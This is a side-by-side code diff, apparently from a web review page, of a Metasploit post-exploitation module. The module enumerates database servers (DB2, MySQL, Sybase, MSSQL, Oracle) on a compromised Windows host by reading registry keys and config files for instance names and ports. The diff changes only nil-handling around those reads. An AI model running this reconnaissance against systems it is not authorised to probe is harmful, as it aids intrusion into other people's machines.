key = "HKLM\\SOFTWARE\\IBM\\DB2"
|
key = "HKLM\\SOFTWARE\\IBM\\DB2"
|
||||||
if (registry_enumkeys(key) || '').include?("GLOBAL_PROFILE")
|
if registry_enumkeys(key).include?("GLOBAL_PROFILE")
|
||||||
print_status("\tDB2 Server found.")
|
print_status("\tDB2 Server found.")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post
|
||||||
# method for Checking if database instances are installed on host - mysql
|
# method for Checking if database instances are installed on host - mysql
|
||||||
def check_mysql
|
def check_mysql
|
||||||
key = "HKLM\\SOFTWARE"
|
key = "HKLM\\SOFTWARE"
|
||||||
if (registry_enumkeys(key) || '').include?("MySQL AB")
|
if registry_enumkeys(key).include?("MySQL AB")
|
||||||
print_status("\tMySQL Server found.")
|
print_status("\tMySQL Server found.")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -143,10 +143,10 @@ class Metasploit3 < Msf::Post
|
||||||
# method for Checking if database instances are installed on host - sybase
|
# method for Checking if database instances are installed on host - sybase
|
||||||
def check_sybase
|
def check_sybase
|
||||||
key = "HKLM\\SOFTWARE\\Sybase"
|
key = "HKLM\\SOFTWARE\\Sybase"
|
||||||
if (registry_enumkeys(key) || '').include?("SQLServer")
|
if registry_enumkeys(key).include?("SQLServer")
|
||||||
print_status("\tSybase Server found.")
|
print_status("\tSybase Server found.")
|
||||||
return true
|
return true
|
||||||
elsif (registry_enumkeys(key) || '').include?("Server")
|
elsif registry_enumkeys(key).include?("Server")
|
||||||
print_status("\tSybase Server found.")
|
print_status("\tSybase Server found.")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -165,7 +165,7 @@ class Metasploit3 < Msf::Post
|
||||||
if not instances.nil? and not instances.empty?
|
if not instances.nil? and not instances.empty?
|
||||||
instances.each do |i|
|
instances.each do |i|
|
||||||
tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key,i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
|
tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key,i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
|
||||||
tcpport = registry_getvaldata(tcpkey,"TcpPort") || ''
|
tcpport = registry_getvaldata(tcpkey,"TcpPort")
|
||||||
print_good("\t\t+ #{registry_getvaldata(key,i)} (Port:#{tcpport})")
|
print_good("\t\t+ #{registry_getvaldata(key,i)} (Port:#{tcpport})")
|
||||||
results << ["mssql","instance:#{registry_getvaldata(key,i)} port:#{tcpport}","Microsoft SQL Server",tcpport]
|
results << ["mssql","instance:#{registry_getvaldata(key,i)} port:#{tcpport}","Microsoft SQL Server",tcpport]
|
||||||
end
|
end
|
||||||
|
@ -204,7 +204,7 @@ class Metasploit3 < Msf::Post
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora") || ''
|
data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora")
|
||||||
if data_TNSNAMES =~ /PORT\ \=\ (\d+)/
|
if data_TNSNAMES =~ /PORT\ \=\ (\d+)/
|
||||||
port = $1
|
port = $1
|
||||||
print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
|
print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
|
||||||
|
@ -233,7 +233,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
instances.each do |i|
|
instances.each do |i|
|
||||||
key = "#{basekey}\\#{i}"
|
key = "#{basekey}\\#{i}"
|
||||||
val_location = registry_getvaldata(key,"Location") || ''
|
val_location = registry_getvaldata(key,"Location")
|
||||||
|
|
||||||
data = find_mysql_conf(val_location)
|
data = find_mysql_conf(val_location)
|
||||||
|
|
||||||
|
@ -254,8 +254,8 @@ class Metasploit3 < Msf::Post
|
||||||
# method to identify sybase instances
|
# method to identify sybase instances
|
||||||
def enumerate_sybase
|
def enumerate_sybase
|
||||||
basekey = "HKLM\\SOFTWARE\\Sybase\\SQLServer"
|
basekey = "HKLM\\SOFTWARE\\Sybase\\SQLServer"
|
||||||
instance = registry_getvaldata(basekey,"DSLISTEN") || ''
|
instance = registry_getvaldata(basekey,"DSLISTEN")
|
||||||
location = registry_getvaldata(basekey,"RootDir") || ''
|
location = registry_getvaldata(basekey,"RootDir")
|
||||||
results = []
|
results = []
|
||||||
|
|
||||||
if not exist?(location + "\\ini\\sql.ini")
|
if not exist?(location + "\\ini\\sql.ini")
|
||||||
|
|
Loading…
Reference in New Issue